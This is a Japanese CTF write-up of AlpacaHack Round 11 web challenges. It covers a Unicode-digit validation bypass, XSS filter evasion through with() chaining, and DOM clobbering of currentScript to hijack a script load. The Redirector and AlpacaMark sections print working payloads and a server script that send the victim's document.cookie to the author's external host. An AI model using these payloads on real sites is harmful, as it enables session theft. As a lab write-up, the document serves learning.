🎰

AlpacaHack Round 11 (Web) Writeup

に公開

AlpacaHack Round 11 (web) に参加して10位/213人でした。5分で1問だけ解いて残りの5時間55分はうんうん唸ってました……

Writeup

Jackpot (63 solves)

スロットが遊べるWebサイト。

こちらで指定した文字candidatesの中からランダムに15回取り出し、それをスロットの結果にしている。is_jackpotがtrue、つまりvalidate後にcandidatesが7のみからなっていれば良い。

@app.get("/slot")
def slot():
    candidates = validate(request.args.get("candidates"))

    num = 15
    results = random.choices(candidates, k=num)

    is_jackpot = results == [7] * num  # 777777777777777

validate関数を見てみる。数字のみ、10文字以上、重複不可となっている。

def validate(value: str | None) -> list[int]:
    if value is None:
        raise BadRequest("Missing parameter")
    if not re.fullmatch(r"\d+", value):
        raise BadRequest("Not decimal digits")
    if len(value) < 10:
        raise BadRequest("Too little candidates")

    candidates = list(value)[:10]
    if len(candidates) != len(set(candidates)):
        raise BadRequest("Not unique")

    return [int(x) for x in candidates]

一見0123456789の10文字以外にこれを満たす文字列は無いように思うが、例えば半角の7と全角のなど、正規表現の\dに対応しておりint()で同じ数字に変換できる文字は複数存在する。
ChatGPTに聞いてみると10種類教えてくれた。

77٧۷߇७৭੭૭୭を入力してスロットを回すとFlagが得られた。

Alpaca{what_i5_your_f4vorite_s3ven?}

Upsolve

Redirector (6 solves)

URLを入力するとリダイレクトするだけのWebサイト。Flagはadmin botのCookieにある。
リダイレクト処理を行っているコードのみを抜粋。

  (() => {
    const next = new URLSearchParams(location.search).get("next");
    if (!next) return;

    const url = new URL(next, location.origin);
    const parts = [url.pathname, url.search, url.hash];
    console.log(parts)

    if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) {
      alert("Invalid URL 1");
      return;
    }
    if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) {
      alert("Invalid URL 2");
      return;
    }

    location.href = url;
  })();

schemaの制限がないため、例えばjavascript:alert(1)にリダイレクトさせるとalertが発火する。XSSできることは分かったので、フィルタを回避してCookieを窃取したい。

1つ目のフィルタの内容は英数字と()のみしか使えないというもの、2つ目のフィルタは一部のワードと%が使えないというもの。JSF*ckなどで文字種制限を回避できないか考えたが、[]+が使えないので厳しい。

ここでChatGPTに色々聞いていると、JavaScriptにはwith()という関数があり、これを使えば.を使わずにプロパティを参照できるらしいということが分かった。例えばconsole.log(1)with(console)log(1)with(console)with(log)(1)と書くことができ、これはフィルタに弾かれず動作する。

以上より、String.fromCharCode()で文字を生成し、それをString.prototype.concat()で結合することでpayloadを作成してevalする方針を立てた。eval()そのものはフィルタで弾かれるので使えないが、setTimeoutには引数に文字列を渡すとevalされる挙動があるので、これを利用する。

payloadを生成するスクリプトを書く。

script = "location.href='https://ctf-server.claustra01.net?'+document.cookie;"

encoded = "with(String)with(fromCharCode())" # 空文字
for c in script[:-1]:
    encoded += f"with(concat(fromCharCode({ord(c)})))"
encoded += f"setTimeout(concat(fromCharCode({ord(script[-1])})))"

url = "http://redirector:3000?next=javascript:" + encoded
print(url)

これで出力されたURLを報告するとFlagが得られた。

http://redirector:3000?next=javascript:with(String)with(fromCharCode())with(concat(fromCharCode(108)))with(concat(fromCharCode(111)))with(concat(fromCharCode(99)))with(concat(fromCharCode(97)))with(concat(fromCharCode(116)))with(concat(fromCharCode(105)))with(concat(fromCharCode(111)))with(concat(fromCharCode(110)))with(concat(fromCharCode(46)))with(concat(fromCharCode(104)))with(concat(fromCharCode(114)))with(concat(fromCharCode(101)))with(concat(fromCharCode(102)))with(concat(fromCharCode(61)))with(concat(fromCharCode(39)))with(concat(fromCharCode(104)))with(concat(fromCharCode(116)))with(concat(fromCharCode(116)))with(concat(fromCharCode(112)))with(concat(fromCharCode(115)))with(concat(fromCharCode(58)))with(concat(fromCharCode(47)))with(concat(fromCharCode(47)))with(concat(fromCharCode(99)))with(concat(fromCharCode(116)))with(concat(fromCharCode(102)))with(concat(fromCharCode(45)))with(concat(fromCharCode(115)))with(concat(fromCharCode(101)))with(concat(fromCharCode(114)))with(concat(fromCharCode(118)))with(concat(fromCharCode(101)))with(concat(fromCharCode(114)))with(concat(fromCharCode(46)))with(concat(fromCharCode(99)))with(concat(fromCharCode(108)))with(concat(fromCharCode(97)))with(concat(fromCharCode(117)))with(concat(fromCharCode(115)))with(concat(fromCharCode(116)))with(concat(fromCharCode(114)))with(concat(fromCharCode(97)))with(concat(fromCharCode(48)))with(concat(fromCharCode(49)))with(concat(fromCharCode(46)))with(concat(fromCharCode(110)))with(concat(fromCharCode(101)))with(concat(fromCharCode(116)))with(concat(fromCharCode(63)))with(concat(fromCharCode(39)))with(concat(fromCharCode(43)))with(concat(fromCharCode(100)))with(concat(fromCharCode(111)))with(concat(fromCharCode(99)))with(concat(fromCharCode(117)))with(concat(fromCharCode(109)))with(concat(fromCharCode(101)))with(concat(fromCharCode(110)))with(concat(fromCharCode(116)))with(concat(fromCharCode(46)))with(concat(fromCharCode(99)))with(concat(fromCharCode(111)))with(concat(fromCharCode(111)))with(concat(fromCharCode(107)))with(concat(fromCharCode(105)))with(concat(fromCharCode(101)))setTimeout(concat(fromCharCode(59)))

Alpaca{An_0pen_redirec7_is_definite1y_a_vuln3rability}

AlpacaMark (3 solves)

自由にMarkdownを書けるWebサイト。

ejsが使用されており、nonceとmarkdownを埋め込んでいる。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1.0" />
    <title>AlpacaMark</title>
    <script nonce="<%= nonce %>" src="/main.js" defer></script>
    <link href="/main.css" rel="stylesheet" />
  </head>
  <body>
    <main class="container">
      <h1>AlpacaMark</h1>
      <div id="previewElm"></div>
      <form id="renderElm" action="/" method="get">
        <textarea name="markdown" required><%- markdown %></textarea>
        <button type="submit">Render</button>
      </form>
    </main>
  </body>
</html>

nonceはランダムで、推測困難。

app.get("/", (req, res) => {
  const nonce = crypto.randomBytes(16).toString("base64");
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'strict-dynamic' 'nonce-${nonce}'; default-src 'self'; base-uri 'none'`
  );

  const markdown = req.query.markdown?.slice(0, 512) ?? DEFAULT_MARKDOWN;
  res.render("index", {
    nonce,
    markdown,
  });
});

markdownには制限なく自由に入力可能なため、</textarea>でtextareaから脱出することで任意のHTMLが挿入できる。しかし、scriptタグを挿入してもnonceが無いので実行できない。

ここでCSPを見ると、script-src 'strict-dynamic'という見慣れない記述がある。

ドキュメントを見るに、どうやら既にnonceで信頼が与えられているmain.jsの内部で呼び出されたスクリプトは、連鎖的に信頼できるものと見なして実行が許可されるらしい。

main.jsを見るとこのようなコードがあった。5というスクリプトをサーバーからロードしている。

5: function(e, t, r) {
    r.a(e, async function(e, t) {
        try {
            r(129);
            var n = r(163);
            let e = localStorage.getItem("markdown") ?? await r.e("5").then(r.t.bind(r, 185, 19)).then( ({default: e}) => e(location.search.slice(1)).markdown ?? "");
            if (localStorage.setItem("markdown", e),
            renderElm.addEventListener("submit", () => localStorage.removeItem("markdown")),
            e) {
                let t = document.createElement("article");
                t.innerHTML = n.Qc(e).replaceAll(":alpaca:", "\uD83E\uDD99"),
                previewElm.appendChild(t)
            }
            let s = document.querySelector("textarea[name=markdown]");
            s.rows = s.value.split("\n").length + 1,
            t()
        } catch (e) {
            t(e)
        }
    }, 1)
},

devtoolsのネットワークタブを見ると、確かに5.jsがロードされていた。
さて、この5.jsのホスト部分はpublicPathが参照される。そのpublicPathはどうやってセットされるかというと、これもmain.js内にコードがある。

( () => {
        r.g.importScripts && (e = r.g.location + "");
        var e, t = r.g.document;
        if (!e && t && (t.currentScript && "SCRIPT" === t.currentScript.tagName.toUpperCase() && (e = t.currentScript.src),
        !e)) {
            var n = t.getElementsByTagName("script");
            if (n.length)
                for (var s = n.length - 1; s > -1 && (!e || !/^http(s?):/.test(e)); )
                    e = n[s--].src
        }
        if (!e)
            throw Error("Automatic publicPath is not supported in this browser");
        r.p = e = e.replace(/^blob:/, "").replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/")
    }
    )(),

難読化されているので分かりづらいが、順序としては

  1. t.currentScript.src
  2. t.getElementsByTagName("script")[-1].src

の優先度でセットされる。
つまり、t.currentScriptが存在しない時(IEなど古いブラウザ?)はDOMで一番最後のscriptタグがpublicPathになる。

ここで、main.jsはdefer付きで読み込まれていたことを思い出そう。これはHTMLのパースが完了してからscriptが実行されるということを意味する。任意のHTMLを挿入できるため、t.getElementsByTagName("script")[-1]は自由に操作できる。

admin botは最新のpuppeteerを使用しているが、どうにかしてt.currentScriptが存在しない(厳密には"SCRIPT" === t.currentScript.tagName.toUpperCase()を満たさない)状態を作れないだろうか。
この問題で使われているrspackにはDOM ClobberingによってcurrentScriptを破壊することが可能という脆弱性が報告されていた。

これらを参考に以下のHTML(markdown)を挿入してみる。
imgタグでDOM Clobberingを行った場合、t.currentScript.tagName.toUpperCase()IMGになるため、"SCRIPT" === t.currentScript.tagName.toUpperCase()がfalseになりif文を回避できる。
ここではCSPエラー回避のためscriptタグに"type="text/plain"を指定しており、スクリプトが実行されなくなるが、DOMはちゃんと生成されているので問題ない。

</textarea>
<img name="currentScript">
<script type="text/plain" src="https://attacker.site"></script>

devtoolsのネットワークタブを見ると、https://attacker.site/5.jsのロードを試みており、publicPathの操作に成功していることが分かる。

/5.jsに適当なスクリプトを配置するサーバーを書く。

const express = require('express');

// logger
function accessLogger(req, res, next) {
  const start = Date.now();
  res.on('finish', () => {
    const duration = Date.now() - start;
    console.log(`${req.method} ${req.originalUrl} ${res.statusCode}`);
  });
  next();
}

const app = express();
app.use(accessLogger);

// 5.js
app.get('/5.js', (req, res) => {
  res.send(`location = "https://ctf-server.claustra01.net/flag?" + document.cookie`);
});

const port = process.env.PORT || 50000;
app.listen(port, () => {
  console.log(`Server is running on http://localhost:${port}`);
});

attacker.siteを自分のサーバーに差し替えたURLを報告するとFlagが得られた。

http://alpaca-mark:3000/?markdown=</textarea><img name="currentScript"><script type="text/plain" src="https://ctf-server.claustra01.net"></script>

Alpaca{the_DOM_w0rld_is_po11uted_and_clobber3d}

Not Solved

Tiny Note (4 solves)

// TODO

Discussion